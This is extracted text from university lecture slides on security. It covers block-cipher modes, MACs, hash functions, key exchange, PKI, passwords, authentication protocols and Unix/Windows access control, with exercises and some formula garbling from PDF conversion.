block cipher, only m bits of the n-bit output of EK are XORed onto Pi , the remaining n − m bits
are discarded, and m bits are fed back into the shift register (depending on the mode of operation).
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Counter Mode (CTR)

This mode is also a stream cipher. It obtains the pseudo-random bit
stream by encrypting an easy to generate sequence of mutually different
blocks, such as the natural numbers encoded as n-bit binary values, plus
some offset O:

Ci = Pi ⊕ EK (O + i)

The offset O is chosen randomly for each message and transmitted or
stored with it like an initial vector. The operation O + i can be addition
in Z2n or GF(2n).

Advantages:

allows fast random access

can be parallelized

low latency

no padding required

no risk of short cycles

Today, Counter Mode is generally preferred over CBC, CBF, and OFB.
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Message Authentication Code (MAC)

A MAC is the cryptographic equivalent of a checksum, which only those
who know K can generate, to protect the integrity of data. Anyone who
shares the secret key K with the sender can recalculate the MAC over the
received message and compare the result.

EK

P1

EK

P2

⊕

· · · EK

Pm

CBC-MACEK
(P)

⊕

A modification of CBC provides one form of MAC. The initial vector is
set to a fixed value (e.g., 0), and Cn of the CBC calculation is attached
to the transmitted plaintext.
CBC-MAC is only secure for fixed message lengths. One fix known as ECBC-MAC encrypts the
CBC-MAC result once more, with a separate key.
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A one-time MAC (Carter-Wegman)

The following MAC scheme is very fast and unconditionally secure, but
only if the key is used to secure only a single message.

Let F be a large finite field (e.g. Z2128+51 or GF(2128)).

Pick a random key pair K = (K1,K2) ∈ F2

Split padded message P into blocks P1, . . . ,Pm ∈ F
Evalutate the following polynomial over F to obtain the MAC:

OT-MACK1,K2 (P) = K m+1
1 + PmK m

1 + · · ·+ P2K 2
1 + P1K1 + K2

Converted into a computationally secure many-time MAC:

Pseudo-random function/permutation EK : F→ F
Pick per-message random value R ∈ F
CW-MACK1,K2 (P) = (R,K m+1

1 +PmK m
1 +· · ·+P2K 2

1 +P1K1+EK2 (R))

M. Wegman and L. Carter. New hash functions and their use in authentication and set equality.
Journal of Computer and System Sciences, 22:265279, 1981.
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Galois Counter Mode (GCM)

CBC and CBC-MAC used together require different keys, resulting in two
encryptions per block of data.

Galois Counter Mode is a more efficient authenticated encryption
technique that requires only a single encryption, plus one XOR ⊕ and
one multiplication ⊗, per block of data:

Ci = Pi ⊕ EK (O + i)

Gi = (Gi−1 ⊕ Ci )⊗ H, G0 = A⊗ H, H = EK (0)

GMACEK
(A,C ) =

(
(Gn ⊕ (len(A)|| len(C )))⊗ H

)
⊕ EK (O)

A is authenticated, but not encrypted (e.g., message header).

The multiplication ⊗ is over the Galois field GF(2128): block bits are
interpreted as coefficients of binary polynomials of degree 127, and the
result is reduced modulo x128 + x7 + x2 + x + 1.

This is like 128-bit modular integer multiplication, but without carry bits,
and therefore faster in hardware.
http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
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O + 1 · · · O + n

EK EK

C1 Cn

⊕P1 ⊕Pn

⊕ ⊕⊗A

EK (0)

⊗

EK (0)

· · ·

⊗ EK (0)

⊕ len(A)|| len(C )

⊗ EK (0)

O

EK

⊕

GMACEK
(A,C )
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O + 1 · · · O + n

EK EK

C1 Cn

⊕P1 ⊕Pn

⊕ ⊕⊗A

EK (0)

⊗

EK (0)

· · ·

⊗ EK (0)

⊕ len(A)|| len(C )

⊗ EK (0)

O

EK

⊕

GMACEK
(A,C )
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Secure hash functions

A hash function h : {0, 1}∗ → {0, 1}n efficiently maps arbitrary-length
input bit strings onto (usually short) fixed-length bitstrings such that the
output is uniformly distributed (for non-repeating input values).

Hash functions are commonly used for fast table lookup or as checksums.

A secure n-bit hash function is in addition expected to offer the following
properties:

Preimage resistance (one-way): For a given value y , it is
computationally infeasible to find x with h(x) = y .

Second preimage resistance (weak collision resistance): For a given
value x , it is computationally infeasible to find x ′ with h(x ′) = h(x).

Collision resistance: It is computationally infeasible to find a pair
x 6= y with h(x) = h(y).
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Secure hash functions: standards

MD5: n = 128
still widely used today, but collisions were found in 2004
http://www.ietf.org/rfc/rfc1321.txt

SHA-1: n = 160
widely used today in many applications, but 269-step algorithm to
find collisions found in 2005, being phased out

SHA-2: n = 224, 256, 384, or 512
close relative of SHA-1, therefore long-term collision-resistance
questionable, best existing standard
FIPS 180-3 US government secure hash standard,
http://csrc.nist.gov/publications/fips/

SHA-3: still five candidates in an ongoing NIST contest:
BLAKE, Grøstl, JH, Keccak, and Skein
http://csrc.nist.gov/groups/ST/hash/sha-3/
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Secure hash functions: construction

Fast secure hash functions such as MD5 or SHA-1 are based on a PRF
C : {0, 1}n × {0, 1}k → {0, 1}n called compression function.

First, the input bitstring X is padded in an unambiguous way to a
multiple of the compression function’s input block size k. If we would
just add zero bits for padding, for instance, then the padded versions of
two strings which differ just in the number of trailing “zero” bits would
be indistinguishable (10101 + 000 = 10101000 = 1010100 + 0). By
padding with a “one” bit (even if the length was already a multiple of k
bits!), followed by between 0 and k − 1 “zero” bits, the padding could
always unambiguously be removed and therefore this careful padding
destroys no information.

Then the padded bitstring X ′ is split into m k-bit blocks X1, . . . ,Xm, and
the n-bit hash value H(X ) = Hm is calculated via the recursion

Hi = C (Hi−1,Xi )

where H0 is a constant n-bit start value.

MD5 and SHA-1 for instance use block sizes of k = 512 bits.
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One-way function from block cipher (Davies–Meyer)

A block cipher can be turned into a one-way function by XORing the
input onto the output. This prevents decryption, as the output of the
blockcipher cannot be reconstructed from the output of the one-way
function.

EKX HK (X )⊕

Another way of getting a one-way function is to use the input as a key in
a block cipher to encrypt a fixed value.

Both approaches can be combined to use a block cipher E as the
compression function in a secure hash function:

Hi = EXi (Hi−1)⊕ Hi−1
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Birthday paradox

With 23 random people in a room, there is a 0.507 chance that two share
a birthday. This perhaps surprising observation has important
implications for the design of cryptographic systems.

If we randomly throw k balls into n bins, then the probability that no bin
contains two balls is(

1− 1

n

)
·
(

1− 2

n

)
· · ·
(

1− k − 1

n

)
=

k−1∏
i=1

(
1− i

n

)
=

n!

(n − k)! · nk

It can be shown that this probability is less than 1
2 if k is slightly above√

n. As n→∞, the expected number of balls needed for a collision is√
nπ/2.

One consequence is that if a 2n search is considered sufficiently
computationally infeasible, then the output of a collision-resistant hash
function needs to be at least 2n bits large.
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Hash-based message authentication code

Hash a message M concatenated with a key K :

MACK (M) = h(K ,M)

This construct is secure if h is an ideal pseudo-random function.

Danger: If h is a compression-function based secure hash function, an
attacker can call the compression function again on the MAC to add
more blocks to M, and obtain the MAC of a longer M ′ without knowing
the key.

To prevent such a message-extension attack, variants like

MACK (M) = h(h(K ,M))

can be used to terminate the iteration of the compression function in a
way that the attacker cannot continue.
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HMAC

HMAC is a standardized technique that is widely used to calculate a
message-authentication code using an iterative secure hash function h,
such as MD5 or SHA-1:

HMACK = h(K ⊕ X1, h(K ⊕ X2,M))

The fixed padding values X1,X2 used in HMAC extend the length of the
key to the input size of the compression function, thereby permitting
precomputation of its first iteration.
http://www.ietf.org/rfc/rfc2104.txt
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More applications of secure hash functions I

Password hash chain

R0 = random

Ri+1 = h(Ri ) (0 ≤ i < n)

Store Rn in a host and give list Rn−1,Rn−2, . . . ,R0 as one-time passwords
to user. When user enters password Ri−1, its hash h(Ri−1) is compared
with the password Ri stored on the server. If they match, the user is
granted access and Ri−1 replaces Ri .
Leslie Lamport: Password authentication with insecure communication. CACM 24(11)770–772,
1981. http://doi.acm.org/10.1145/358790.358797

Proof of prior knowledge / secure commitment
You have today an idea that you write down in message M. You do not
want to publish M yet, but you want to be able to prove later that you
knew M already today. So you publish h(M) today.
If the entropy of M is small (e.g., M is a simple password), there is a risk that h can be inverted
successfully via brute-force search. Solution: publish h(N, M) where N is a random bit string (like
a key). When the time comes to reveal M, also reveal N. Publishing h(N, M) can also be used to
commit yourself to M, without revealing it yet.
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More applications of secure hash functions II

Hash tree
Leaves contain hash values of messages, each inner node contains the
hash of the concatenated values in the child nodes directly below it.

Advantages of tree over hashing concatenation of all messages:

Update of a single message requires only recalculation of hash values
along path to root.

Verification of a message requires only knowledge of values in all
direct children of nodes in path to root.

One-time signatures
Secret key: 2n random bit strings Ri,j (i ∈ {0, 1}, 1 ≤ j ≤ n)

Public key: 2n bit strings h(Ri,j )

Signature: (Rb1,1,Rb2,2, . . . ,Rbn,n), where h(M) = b1b2 . . . bn
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More applications of secure hash functions III

Stream authentication
Alice sends to Bob a long stream of messages M1,M2, . . . ,Mn. Bob
wants to verify Alice’s signature on each packet immediately upon arrival,
but it is too expensive to sign each message individually.

Alice calculates

C1 = h(C2,M1)

C2 = h(C3,M2)

C3 = h(C4,M3)

· · ·
Cn = h(0,Mn)

and then sends to Bob the stream

C1,Signature(C1), (C2,M1), (C3,M2), . . . , (0,Mn).

Only the first check value is signed, all other packets are bound together
in a hash chain that is linked to that single signature.
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Exercise 1 Decipher the shift cipher text
LUXDZNUAMNDODJUDTUZDGYQDLUXDGOJDCKDTKKJDOZ

Exercise 2 How can you break any transposition cipher with dloga ne chosen
plaintexts, if a is the size of the alphabet and n is the permutation block
length?

Exercise 3 Show that the shift cipher provides unconditional security if
∀K ∈ Z26 : p(K) = 26−1 for plaintexts P ∈ Z26.

Exercise 4 How can you distinguish a Feistel cipher from a random function if
it has only (a) one round, (b) two rounds?

Exercise 5 What happens to the ciphertext block if all bits in both the key
and plaintext block of DES are inverted?

Exercise 6 Explain for each of the discussed modes of operation (ECB, CBC,
CFB, OFB, CTR) of a block cipher how decryption works.
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Exercise 7 A sequence of plaintext blocks P1, . . . ,P8 is encrypted using DES
into a sequence of ciphertext blocks. Where an IV is used, it is numbered C0. A
transmission error occurs and one bit in ciphertext block C3 changes its value.
As a consequence, the receiver obtains after decryption a corrupted plaintext
block sequence P ′1, . . . ,P

′
8. For the discussed modes of operation (ECB, CBC,

CFB, OFB, CTR), how many bits do you expect to be wrong in each block P ′i ?

Exercise 8 Given a hardware implementation of the DES encryption function,
what has to be modified to make it decrypt?

Exercise 9 If the round function f in a Feistel construction is a pseudo-random
function, how many rounds n are at least necessary to build a pseudo-random
permutation? What test can you apply to distinguish a Feistel structure with
n − 1 rounds (with high probability) from a random permutation?

Exercise 10 Using a given pseudo-random function F : {0, 1}100 → {0, 1}100,
construct a pseudo-random permutation P : {0, 1}300 → {0, 1}300 by extending
the Feistel principle appropriately.
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Exercise 11 Explain the collision resistance requirement for the hash function
used in a digital signature scheme.

Exercise 12 Show how the DES block cipher can be used to build a 64-bit
hash function. Is the result collision resistant?

Exercise 13 Your opponent has invented a new stream cipher mode of
operation for DES. He thinks that OFB could be improved by feeding back into
the key port rather than the data port of the DES chip. He therefore sets
R0 = K and generates the key stream by Ri+1 = ERi (R0). Is this better or
worse than OFB?

Exercise 14 A programmer wants to use CBC in order to protect both the
integrity and confidentiality of network packets. She attaches a block of zero
bits Pn+1 to the end of the plaintext as redundancy, then encrypts with CBC.
At the receiving end, she verifies that the added redundant bits are after CBC
decryption still all zero. Does this test ensure the integrity of the transferred
message?
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Secret sharing

A (t, n) secret sharing scheme is a mechanism to distribute shares
S1, . . . ,Sn of a secret key S (0 ≤ S < m) among parties P1, . . . ,Pn such
that any t of them can together reconstruct the key, but any group of
t − 1 cannot.

Unanimous consent control – (n, n) secret sharing
For all 1 ≤ i < n generate random number 0 ≤ Si < m and give it
to Pi .

Give Sn = S −∑n−1
i=1 Si mod m to Pn.

Recover secret as S =
∑n

i=1 Si mod m.

Can also be implemented with bitstrings and XOR instead of modular
arithmetic.
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Secret sharing – Shamir’s threshold scheme

Choose a prime p > max(S , n).

Choose a polynomial

f (x) =
t−1∑
j=0

aj x
j

with a0 = S and random numbers 0 ≤ aj < p (1 ≤ j < t).

For all 1 ≤ i ≤ n compute Si = f (i) mod p and give it to Pi .

Recover secret S = f (0) by Lagrange interpolation of f through any
t points (xi , yi ) = (i ,Si ). Note that deg(f ) = t − 1.

Lagrange interpolation:

If (xi , yi ) for 1 ≤ i ≤ t are points of a polynomial f with deg(f ) < t:

f (x) =
t∑

i=1

yi

∏
1≤j≤t

j 6=i

x − xj

xi − xj
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Diffie-Hellman key exchange

How can two parties achieve message confidentiality who have no prior
shared secret and no secure channel to exchange one?

Select a suitably large prime number p and a generator g ∈ Z∗p
(2 ≤ g ≤ p − 2), which can be made public. A generates x and B
generates y , both random numbers out of {1, . . . , p − 2}.

A→ B : g x mod p

B → A : g y mod p

Now both can form (g x )y = (g y )x and use a hash of it as a shared key.

The eavesdropper faces the Diffie-Hellman Problem of determining g xy

from g x , g y and g , which is believed to be equally difficult to the
Discrete Logarithm Problem of finding x from g x and g in Z∗p. This is

infeasible if p > 21000 and p − 1 has a large prime factor.

The DH key exchange is secure against a passive eavesdropper, but not
against middleperson attacks, where g x and g y are replaced by the
attacker with other values.
W. Diffie, M.E. Hellman: New Directions in Cryptography. IEEE IT-22(6), 1976-11, pp 644–654.
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ElGamal encryption

The DH key exchange requires two messages. This can be eliminated if
everyone publishes his g x as a public key in a sort of phonebook.

If A has published (p, g , g x ) as her public key and kept x as her private
key, then B can also generate for each message a new y and send

B → A : g y mod p, (g x )y ·M mod p

where M ∈ Zp is the message that B sends to A in this asymmetric
encryption scheme. Then A calculates

[(g x )y ·M] · [(g y )p−1−x ] mod p = M

to decrypt M.

In practice, M is again not the real message, but only the key for an
efficient block cipher that protects confidentiality and integrity of the
bulk of the message (hybrid cryptography).
With the also widely used RSA asymmetric cryptography scheme, encryption and decryption
commute. This allows the owner of a secret key to sign a message by “decrypting” it with her
secret key, and then everyone can recover the message and verify this way the signature by
“encrypting” it with the public key.
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ElGamal signature

Asymmetric cryptography also provides digital signature algorithms,
where only the owner of a secret key can generate a signatures for a
message M that can be verified by anyone with the public key.

If A has published (p, g , g x ) as her public key and kept x as her private
key, then in order to sign a message M ∈ Zp (usually hash of real
message), she generates a random number y (with 0 < y < p − 1 and
gcd(y , p − 1) = 1) and solves the linear equation

x · g y + y · s ≡ M (mod p − 1) (1)

for s and sends to the verifier B the signed message

A→ B : M, g y mod p, s = (M − x · g y )/y mod (p − 1)

who will raise g to the power of both sides of (1) and test the resulting
equation:

(g x )g y · (g y )s ≡ g M (mod p)

Warning: Unless p and g are carefully chosen, ElGamal signatures can be vulnerable to forgery:
D. Bleichenbacher: Generating ElGamal signatures without knowing the secret key.
EUROCRYPT ’96. http://www.springerlink.com/link.asp?id=xbwmv0b564gwlq7a
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Public-key infrastructure I

Public key encryption and signature algorithms allow the establishment of
confidential and authenticated communication links with the owners of
public/private key pairs.

Public keys still need to be reliably associated with identities of owners.
In the absence of a personal exchange of public keys, this can be
mediated via a trusted third party. Such a certification authority C issues
a digitally signed public key certificate

CertC (A) = {A,KA,T , L}K−1
C

in which C confirms that the public key KA belongs to A starting at time
T and that this confirmation is valid for the time interval L, and all this
is digitally signed with C ’s private signing key K−1

C .

Anyone who knows C ’s public key KC from a trustworthy source can use
it to verify the certificate CertC (A) and obtain a trustworthy copy of A’s
key KA this way.
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Public-key infrastructure II

We can use the operator • to describe the extraction of A’s public key KA

from a certificate CertC (A) with the certification authority public key KC :

KC • CertC (A) =

{
KA if certificate valid
failure otherwise

The • operation involves not only the verification of the certificate
signature, but also the validity time and other restrictions specified in the
signature. For instance, a certificate issued by C might contain a
reference to an online certificate revocation list published by C , which
lists all public keys that might have become compromised (e.g., the
smartcard containing K−1

a was stolen or the server storing K−1
A was

broken into) and whose certificates have not yet expired.
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Public-key infrastructure III

Public keys can also be verified via several trusted intermediaries in a
certificate chain:

KC1 • CertC1 (C2) • CertC2 (C3) • · · · • CertCn−1 (Cn) • CertCn (B) = KB

A has received directly a trustworthy copy of KC1 (which many
implementations store locally as a certificate CertA(C1) to minimise the
number of keys that must be kept in tamper-resistant storage).

Certification authorities can be made part of a hierarchical tree, in which
members of layer n verify the identity of members in layer n − 1 and
n + 1. For example layer 1 can be a national CA, layer 2 the computing
services of universities and layer 3 the system administrators of individual
departments.
Practical example: A personally receives KC1

from her local system administrator C1, who
confirmed the identity of the university’s computing service C2 in CertC1

(C2), who confirmed the
national network operator C3, who confirmed the IT department of B’s employer C3 who finally
confirms the identity of B. An online directory service allows A to retrieve all these certificates
(plus related certificate revocation lists) efficiently.
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Some popular Unix cryptography tools

ssh [user@]hostname [command] — Log in via encrypted link to
remote machine (and if provided execute “command”). RSA or DSA
signature is used to protect Diffie-Hellman session-key exchange and
to identify machine or user. Various authentication mechanisms, e.g.
remote machine will not ask for password, if user’s private key
(~/.ssh/id_rsa) fits one of the public keys listed in the home
directory on the remote machine (~/.ssh/authorized_keys).
Generate key pairs with ssh-keygen.
http://www.openssh.org/

pgp, gpg — Offer both symmetric and asymmetric encryption,
digital signing and generation, verification, storage and management
of public-key certificates in a form suitable for transmission via email.
http://www.gnupg.org/, http://www.pgpi.org/

openssl — Tool and library that implements numerous standard
cryptographic primitives, including AES, X.509 certificates, and
SSL-encrypted TCP connections.
http://www.openssl.org/
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Identification and entity authentication

Needed for access control and auditing. Humans can be identified by

something they are
Biometric identification: iris texture, retina pattern, face or fingerprint recognition, finger or
hand geometry, palm or vein patterns, body odor analysis, etc.

something they do
handwritten signature dynamics, keystroke dynamics, voice, lip motion, etc.

something they have
Access tokens: physical key, id card, smartcard, mobile phone, PDA, etc.

something they know
Memorised secrets: password, passphrase, personal identification number (PIN), answers to
questions on personal data, etc.

where they are
Location information: terminal line, telephone caller ID, Internet address, mobile phone or
wireless LAN location data, GPS

For high security, several identification techniques need to be combined
to reduce the risks of false-accept/false-reject rates, token theft,
carelessness, relaying and impersonation.
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Passwords / PINs I

Randomly picked single words have low entropy, dictionaries have less
than 218 entries. Common improvements:

restrict rate at which passwords can be tried (reject delay)

monitor failed logins

require minimum length and inclusion of digits, punctuation, and
mixed case letters

suggest recipes for difficult to guess choices (entire phrase, initials of
a phrase related to personal history, etc.)

compare passwords with directories and published lists of popular
passwords (person’s names, pet names, brand names, celebrity
names, patterns of initials and birthdays in various arrangements,
etc.)

issue randomly generated PINs or passwords, preferably
pronounceable ones
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Passwords / PINs II

00 05 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95
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Data compiled by Joseph Bonneau, Computer Laboratory
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Passwords / PINs III

Other password related problems and security measures:

Trusted path – user must be sure that entered password reaches the
correct software (→ Ctrl+Alt+Del on Windows NT aborts any GUI
application and activates proper login prompt)

Confidentiality of password database – instead of saving password P
directly or encrypted, store only h(P), where h is a one-way hash
function → no secret stored on host

Brute-force attacks against stolen password database – store
(S , hn(S‖P)), where a hash function h is iterated n times to make
the password comparison inefficient, and S is a nonce (“salt value”,
like IV) that is concatenated with P to prevent comparison with
precalculated hashed dictionaries.
PBKDF2 is a widely used password-based key derivation function using this approach.

Eavesdropping – one-time passwords, authentication protocols.

Inconvenience of multiple password entries – single sign-on.
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Authentication protocols

Alice (A) and Bob (B) share a secret Kab.
Notation: {. . .}K stands for encryption with key K , h is a one-way hash function, N is a random
number (“nonce”) with the entropy of a secret key, “‖” or “,” denote concatenation.

Password:

B → A : Kab

Problems: Eavesdropper can capture secret and replay it. A can’t confirm identity of B.

Simple Challenge Response:

A→ B : N

B → A : h(Kab‖N) (or {N}Kab
)

Mutual Challenge Response:

A→ B : Na

B → A : {Na,Nb}Kab

A→ B : Nb
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One-time password:

B → A : C , {C}Kab

Counter C increases by one with each transmission. A will not accept a
packet with C ≤ Cold where Cold is the previously accepted value. This is
a common car-key protocol, which provides replay protection without a
transmitter in the car A or receiver in the key fob B.

Key generating key: Each smartcard Ai contains its serial number i
and its card key Ki = {i}K . The master key K (“key generating key”) is
only stored in the verification device B. Example with simple challenge
response:

Ai → B : i

B → Ai : N

Ai → B : h(Ki‖N)

Advantage: Only one single key K needs to be stored in each verification device, new cards can be
issued without updating verifiers, compromise of key Ki from a single card Ai allows attacker only
to impersonate with one single card number i , which can be controlled via a blacklist. However, if
any verification device is not tamper resistant and K is stolen, entire system can be compromised.
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Needham–Schroeder protocol / Kerberos

Trusted third party based authentication with symmetric cryptography:

A→ S : A,B

S → A : {Ts , L,Kab,B, {Ts , L,Kab,A}Kbs
}Kas

A→ B : {Ts , L,Kab,A}Kbs
, {A,Ta}Kab

B → A : {Ta + 1}Kab

User A and server B do not share a secret key initially, but authentication
server S shares secret keys with everyone. A requests a session with B
from S . S generates session key Kab and encrypts it separately for both
A and B. These “tickets” contain a timestamp T and lifetime L to limit
their usage time. Similar variants of the Needham-Schroeder protocol are
used in Kerberos and Windows NT, where Kas is derived from a user
password. Here the {}K notation implies both confidentiality and
integrity protection, e.g. MAC+CBC.
R. Needham, M. Schroeder: Using encryption for authentication in large networks of computers.
CACM 21(12)993–999,1978. http://doi.acm.org/10.1145/359657.359659

91

http://doi.acm.org/10.1145/359657.359659


Authentication protocol attack

Remember simple mutual authentication:

A→ B : Na

B → A : {Na,Nb}Kab

A→ B : Nb

Impersonation of B by B ′, who intercepts all messages to B and starts a
new session to A simultaneously to have A decrypt her own challenge:

A→ B ′ : Na

B ′ → A : Na

A→ B ′ : {Na,N
′
a}Kab

B ′ → A : {Na,Nb = N ′a}Kab

A→ B ′ : Nb

Solutions: Kab 6= Kba or include id of originator in second message.
Avoid using the same key for multiple purposes!
Use explicit information in protocol packets where possible!
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Exercise 15 Users often mix up user-ID and password at login prompts. How
should the designer of a login function take this into consideration?

Exercise 16 The runtime of the usual algorithm for comparing two strings is
proportional to the length of the identical prefix of the inputs. How and under
which conditions might this help an attacker to guess a password?

Exercise 17 Read

Gus Simmons: Cryptanalysis and protocol failures, Communications of the
ACM, Vol 37, No 11, Nov. 1994, pp 56–67.

http: // doi. acm. org/ 10. 1145/ 188280. 188298

and describe the purpose and vulnerability of the
Tatebayashi-Matsuzaki-Newman protocol.

Exercise 18 Generate a key pair with PGP or GnuPG and exchange
certificates with your supervisor. Sign and encrypt your answers to all exercises.
Explain the purpose of the PGP fingerprint and the reason for its length.
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Exercise 19 (a) Describe a cryptographic protocol for a prepaid telephone
chip card that uses a secure 64-bit hash function H implemented in the card.
In this scheme, the public telephone needs to verify not only that the card is
one of the genuine cards issued by the phone company, but also that its value
counter V has been decremented by the cost C of the phone call. Assume both
the card and the phone know in advance a shared secret K .

(b) Explain the disadvantage of using the same secret key K in all issued phone
cards and suggest a way around this.

Exercise 20 Popular HTTPS browsers come with a number of default
high-level certificates that are installed automatically on client machines. As a
result, most certificate chains used on the Web originate near the top of a CA
tree. Discuss the advantages and disadvantages of this top-down approach for
the different parties involved compared to starting with bottom-up certificates
from your local system administrator or network provider.
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Access Control

Discretionary Access Control:
Access to objects (files, directories, devices, etc.) is permitted based on
user identity. Each object is owned by a user. Owners can specify freely
(at their discretion) how they want to share their objects with other
users, by specifying which other users can have which form of access to
their objects.
Discretionary access control is implemented on any multi-user OS (Unix, Windows NT, etc.).

Mandatory Access Control:
Access to objects is controlled by a system-wide policy, for example to
prevent certain flows of information. In some forms, the system
maintains security labels for both objects and subjects (processes, users),
based on which access is granted or denied. Labels can change as the
result of an access. Security policies are enforced without the cooperation
of users or application programs.
This is implemented today in special military operating system versions.
Mandatory access control for Linux: http://www.nsa.gov/research/selinux/
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Discretionary Access Control

In its most generic form usually formalised as an Access Control Matrix
M of the form

M = (Mso)s∈S,o∈O with Mso ⊆ A

where

S = set of subjects (e.g.: jane, john, sendmail)

O = set of objects (/mail/jane, edit.exe, sendmail)

A = set of access privileges (read, write, execute, append)

/mail/jane edit.exe sendmail
jane {r,w} {r,x} {r,x}
john {} {r,w,x} {r,x}

sendmail {a} {} {r,x}
Columns stored with objects: “access control list”
Rows stored with subjects: “capabilities”
In some implementations, the sets of subjects and objects can overlap.
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Unix/POSIX access control overview

User:

user ID group ID supplementary group IDs
stored in /etc/passwd and /etc/group, displayed with command id

Process:

effective user ID real user ID saved user ID

effective group ID real group ID saved group ID

supplementary group IDs
stored in process descriptor table

File:
owner user ID group ID
set-user-ID bit set-group-ID bit
owner RWX group RWX
other RWX “sticky bit”

stored in file’s i-node, displayed with ls -l

$ id
uid=1597(mgk25) gid=1597(mgk25) groups=501(wednesday),531(sec-grp)
$ ls -la
drwxrwsr-x 2 mgk25 sec-grp 4096 2010-12-21 11:22 .
drwxr-x--x 202 mgk25 mgk25 57344 2011-02-07 18:26 ..
-rwxrwx--- 1 mgk25 sec-grp 2048 2010-12-21 11:22 test5
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Unix/POSIX access control mechanism I

Traditional Unix uses a simple form of file access permissions.
Peripheral devices are represented by special files.

Every user is identified by an integer number (user ID).

Every user also belongs to at least one “group”, each of which is
identified by an integer number (group ID).

Processes started by a user inherit his/her user ID and group IDs.

Each file carries both an owner’s user ID and a single group ID.
When a process tries to access a file, the kernel first decides into
which one of three user classes the accessing process falls. If the
process user ID matches the file owner ID then that class is “owner”,
otherwise if one of the group IDs of the process matches the file
group ID then the class is “group”, otherwise the class is “other”.

Each file carries nine permission bits: there are three bits defining
“read”, “write”, and “execute” access for each of the three different
user classes “owner”, “group” and “other”.
Only the three permission bits for the user class of the process are consulted by the kernel:
it does not matter for a process in the “owner” class if it is also a member of the group to
which the file belongs or what access rights the “other” class has.
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Unix/POSIX access control mechanism II

For directories, the “read” bit decides whether the names of the files
in them can be listed and the “execute” bit decides whether “search”
access is granted, that is whether any of the attributes and contents
of the files in the directory can be accessed via that directory.
The name of a file in a directory that grants execute/search access, but not read access, can
be used like a password, because the file can only be accessed by users who know its name.

Write access to a directory is sufficient to remove any file and empty
subdirectory in it, independent of the access permissions for what is
being removed.

Berkeley Unix added a tenth access control bit: the “sticky bit”. If
it is set for a directory, then only the owner of a file in it can move
or remove it, even if others have write access to the directory.
This is commonly used in shared subdirectories for temporary files, such as /tmp/ or
/var/spool/mail/.

Only the owner of a file can change its permission bits (chmod) and
its group (chgrp, only to a group of which the owner is a member).

User ID 0 (“root”) has full access.
This is commonly disabled for network-file-server access (“root squashing”).
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Controlled invocation / elevated rights I

Many programs need access rights to files beyond those of the user.

Example

The passwd program allows a user to change her password and therefore
needs write access to /etc/passwd. This file cannot be made writable to
every user, otherwise everyone could set anyone’s password.

Unix files carry two additional permission bits for this purpose:

set-user-ID – file owner ID determines process permissions

set-group-ID – file group ID determines process permissions

The user and group ID of each process comes in three flavours:

effective – the identity that determines the access rights

real – the identity of the calling user

saved – the effective identity when the program was started
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Controlled invocation / elevated rights II

A normal process started by user U will have the same value U stored as
the effective, real, and saved user ID and cannot change any of them.

When a program file owned by user O and with the set-user-ID bit set is
started by user U, then both the effective and the saved user ID of the
process will be set to O, whereas the real user ID will be set to U. The
program can now switch the effective user ID between U (copied from
the real user id) and O (copied from the saved user id).

Similarly, the set-group-ID bit on a program file causes the effective and
saved group ID of the process to be the group ID of the file and the real
group ID remains that of the calling user. The effective group ID can then
as well be set by the process to any of the values stored in the other two.

This way, a set-user-ID or set-group-ID program can freely switch
between the access rights of its caller and those of its owner.

The ls tool indicates the set-user-ID or set-group-ID bits by changing
the corresponding “x” into “s”. A set-user-ID root file:

-rwsr-xr-x 1 root system 222628 Mar 31 2001 /usr/bin/X11/xterm
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Problem: Proliferation of root privileges

Many Unix programs require installation with set-user-ID root, because
the capabilities to access many important system functions cannot be
granted individually. Only root can perform actions such as:

changing system databases (users, groups, routing tables, etc.)

opening standard network port numbers < 1024

interacting directly with peripheral hardware

overriding scheduling and memory management mechanisms

Applications that need a single of these capabilities have to be granted
all of them. If there is a security vulnerability in any of these programs,
malicious users can often exploit them to gain full superuser privileges as
a result.
On the other hand, a surprising number of these capabilities can be used with some effort on their
own to gain full privileges. For example the right to interact with harddisks directly allows an
attacker to set further set-uid-bits, e.g. on a shell, and gain root access this way. More fine-grain
control can create a false sense of better control, if it separates capabilities that can be
transformed into each other.
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Windows access control I

Microsoft’s Windows NT/2000/XP/Vista/7/. . . provides an example for
a considerably more complex access control architecture.

All accesses are controlled by a Security Reference Monitor. Access
control is applied to many different object types (files, directories,
registry keys, printers, processes, user accounts, etc.). Each object type
has its own list of permissions. Files and directories on an NTFS
formatted harddisk, for instance, distinguish permissions for the following
access operations:

Traverse Folder/Execute File, List Folder/Read Data, Read
Attributes, Read Extended Attributes, Create Files/Write Data,
Create Folders/Append Data, Write Attributes, Write Extended
Attributes, Delete Subfolders and Files, Delete, Read
Permissions, Change Permissions, Take Ownership

Note how the permissions for files and directories have been arranged for POSIX compatibility.

As this long list of permissions is too confusing in practice, a list of
common permission options (subsets of the above) has been defined:

Read, Read & Execute, Write, Modify, Full Control
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Windows access control II

Every user or group is identified by a security identification number
(SID), the NT equivalent of the Unix user ID.

Every object carries a security descriptor (the NT equivalent of the access
control information in a Unix i-node) with

SID of the object’s owner

SID of the object’s group (only for POSIX compatibility)

Discretionary Access Control List, a list of ACEs

System Access Control List, for SystemAudit ACEs

Each Access Control Entry (ACE) carries

a type (AccessDenied, AccessAllowed)

a SID (representing a user or group)

an access permission mask (read, write, etc.)

five bits to control ACL inheritance (see below)
Windows tools for editing ACLs (e.g., Windows Explorer GUI) usually place all non-inherited
(explicit) ACEs before all inherited ones. Within these categories, GUI interfaces with allow/deny
buttons also usually place all AccessDenied ACEs before all AccessAllowed ACEs in the ACL,
thereby giving them priority. However, AccessAllowed ACEs before AccessDenied ACEs may be
needed to emulate POSIX-style file permissions. Why?
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Windows access control III

Requesting processes provide a desired access mask. With no DACL
present, any requested access is granted. With an empty DACL, no
access is granted. All ACEs with matching SID are checked in sequence,
until either all requested types of access have been granted by
AccessAllowed entries or one has been denied in an AccessDenied entry:

AccessCheck(Acl: ACL,

DesiredAccess : AccessMask,

PrincipalSids : SET of Sid)

VAR

Denied : AccessMask = ∅;
Granted : AccessMask = ∅;
Ace : ACE;

foreach Ace in Acl

if Ace.SID ∈ PrincipalSids and not Ace.inheritonly

if Ace.type = AccessAllowed

Granted = Granted ∪ (Ace.AccessMask - Denied);

else Ace.type = AccessDenied

Denied = Denied ∪ (Ace.AccessMask - Granted);

if DesiredAccess ⊆ Granted

return SUCCESS;

return FAILURE;
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Windows ACL inheritance I

Windows 2000/etc. implements static inheritance for DACLs:

Only the DACL of the file being accessed is checked during access.
